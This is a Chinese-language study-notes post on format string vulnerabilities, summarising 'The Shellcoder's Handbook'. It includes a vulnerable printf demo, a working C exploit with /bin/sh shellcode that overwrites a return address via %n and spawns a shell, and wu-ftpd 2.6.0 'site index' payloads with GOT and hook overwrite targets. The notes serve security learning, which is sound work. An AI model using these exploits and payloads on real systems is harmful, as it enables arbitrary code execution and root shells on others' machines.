声明:主要内容来自《The Shellcoder's Handbook》,摘录重点作为笔记并加上个人的一些理解,如有错,请务必指出。
当printf系列函数的格式化串里包含用户提交的数据时,有可能出现格式化串漏洞。攻击者可能提交许多格式化字符(但不提供对应的变量),这样栈上就没有和格式符相对于的参数,因此系统就会用栈上的其他数据代替这项参数,从而导致信息泄露和执行指定的代码。以下面的程序为例:
#include <stdio.h> int main(int argc, char *argv[]) { if (argc != 2) return 1; printf(argv[1]); printf("/n"); return 0; }
sep@debian66:~/shellcode$ cc -o fmt fmt.c fmt.c:13:2: warning: no newline at end of file sep@debian66:~/shellcode$ ./fmt "%x %x %x %x" bfefb224 bfefb1a8 bfefb1b0 b7e66c8c sep@debian66:~/shellcode$
编译,运行,printf从栈上找来四个数据充数输出。这提供给我们一个可能性:攻击者可能利用它来获取栈上的数据,意味着对栈本身来说可能是敏感信息,如用户名、密码等。如果提交多个%x格式符,则可以获知更多的栈上数据。【疑问:我们知道这些数据来自栈上,但具体在栈的哪里?是当前ESP的位置吗?】
转换格式符:d、i、o、u、x用于整数,e、f、g、a用于浮点数,c用于字符,特别留意下面两个:
s--这个参数被视为指向字符串的指针,将以字符串的形式输出参数;
n--这个参数被视为指向整形(包括int、short、char等)的指针,在这个参数之前输出的字符的数量将被保存到这个参数指向的地址里。
%n格式符把它的参数作为内存地址,把前面输出的字符数量写到那个地址。这意味着我们有机会改写某个内存地址里的数据,从而控制程序的执行。如果满足下面条件,就可以利用格式化串漏洞执行任意代码:
1、我们能控制%n参数,并可以把输出的字符的数量写入内存的指定区域;
2、宽度格式符允许用任意长度(事实上最长可为255个字符)填充输出。因此,可以用字符串长度改写单个字节;
3、重复上面步骤4次的话,就能改写内存中的任意4B,也就是说,攻击者可以利用这个方法改写内存地址;
4、我们可以猜测函数指针的地址(保存的返回地址RET、二进制文件的导入表、c++ vatable等),因此我们可以促成系统把提交的字符串当成代码来执行。
我写了这样的一个程序,把shellcode的地址通过printf填到RET:
//file: fmt2.c //cc -o fmt2 fmt2.c -mpreferred-stack-boundary=2 #include <stdio.h> char shellcode[] = "/xeb/x1a/x5e/x31" "/xc0/x88/x46/x07" "/x8d/x1e/x89/x5e" "/x08/x89/x46/x0c" "/xb0/x0b/x89/xf3" "/x8d/x4e/x08/x8d" "/x56/x0c/xcd/x80" "/xe8/xe1/xff/xff" "/xff/x2f/x62/x69" "/x6e/x2f/x73/x68"; int main() { int *ret; ret = (int *)&ret + 2; printf("%p/n", shellcode); printf("%0*d%n/n", (int)shellcode &0xff, 0, (char *)ret); printf("%0*d%n/n", ((int)shellcode>>8) &0xff, 0, (char *)ret+1); printf("%0*d%n/n", ((int)shellcode>>16)&0xff, 0, (char *)ret+2); printf("%0*d%n/n", ((int)shellcode>>24)&0xff, 0, (char *)ret+3); }注意printf("%0*d%n/n", (int)shellcode &0xff, 0, (char *)ret);语句,*号用于动态指定输出宽度,配合%n参数,就可以将shellcode的地址填到我们想要的内存地址中。编译运行:
sep@debian66:~/shellcode$ cc -o fmt2 fmt2.c -mpreferred-stack-boundary=2 sep@debian66:~/shellcode$ ./fmt2 0x8049680 00000000000000000000000000000000000000000000000000000000000000...0 <0x80个0> 00000000000000000000000000000000000000000000000000000000000000...0 <0x96个0> 0000 00000000 sh-3.1$得到一个shell,证明fmt2退出后确实运行了shellcode,假设fmt2属主是root,并把suid打开,则派生shell也会继承root特权。
利用格式化串漏洞,书上以wu-ftpd 2.6.0为例展开阐述如何使得服务崩溃和获取内存中的数据。
书中仍然以wu-ftpd 2.6.0为例展开如何利用printf漏洞让程序执行我们的shellcode。过程还是相当复杂的,需要装redhat9.0 + wu-ftpd2.6.0来实践一次。
书中有个地方比较难以理解:
./dowu localhost $'/x41/x41/x41/x41%272$n' 1
如果用gdb跟踪wu-ftp的执行情况,你会看到进程正在试着把0x0000000a写入地址0x41414141。
对于“./dowu localhost $'/x41/x41/x41/x41%272$n' 1”,在wu-ftpd中会展为“site index $'/x41/x41/x41/x41%272$n'”语句。272$是利用site index弹出栈上的第272个值(这里在272处就是字符串本身的头4b,即/x41/x41/x41/x41,也就是AAAA)。系统会把弹出的AAAA(0x41414141)作为%n参数,另外字符串“/x41/x41/x41/x41%272$n”的长度是0xa,故printf将把0xa写入地址0x41414141中。理解这些,接下来的疑问不大,可利用填充字节增加字符串的长度,如./dowu localhost $'/x41/x41/x41/x41%50000x%272$n' 1将0xc35a(50000+10)写到地址0x41414141中。
0x41414141只是为了验证我们的想法而选择的地址。实际中应该选择一个有意义的地址,可以从多个目标中选择它:
1、保存的返回地址(栈溢出,用信息泄露的方法来确定返回地址的位置);
2、全局偏移表(GOT),动态重定位对函数;
3、析构函数表(DTORS);
4、C函数库钩子,例如malloc_hook、realloc_hook和free_hook;
5、atexit结构;
6、所有其他的函数指针,例如C++ vtables、回调函数等;
7、Windows里默认未处理的异常处理程序,它几乎总是在同一地址。
先来看下in.ftpd里的GOT:
objdump -R /usr/sbin/in.ftpd
...
0806d3b0 R_386_JUMP_SLOT printf
...
我们可以修改保存在0806d3b0里的地址来重定向程序的执行流程。利用格式化串修改保存在0806d3b0里的地址之后,wu-ftpd会希望执行到printf,从而执行指定的代码。接下来如何把shellcode上载到GOT的地址空间,详见原书P64。
针对wu-ftpd的这个漏洞,最流行的破解是wuftpd2600.c。
格式化串参数:
1、可用%s从目标进程读取内存数据;
2、可用%n把输出字符串长度写入任意地址;
3、可用宽度修饰符修改输出的字符的数量;
4、可用%hn修饰符每次写入16位数值。
直接参数访问允许多次重用同一格式化串里的栈参数,也允许直接用那些我们感兴趣的参数。直接参数访问包括使用$修饰符,例如:
%272$x
将显示栈上的第272个参数。这是很重要的技巧。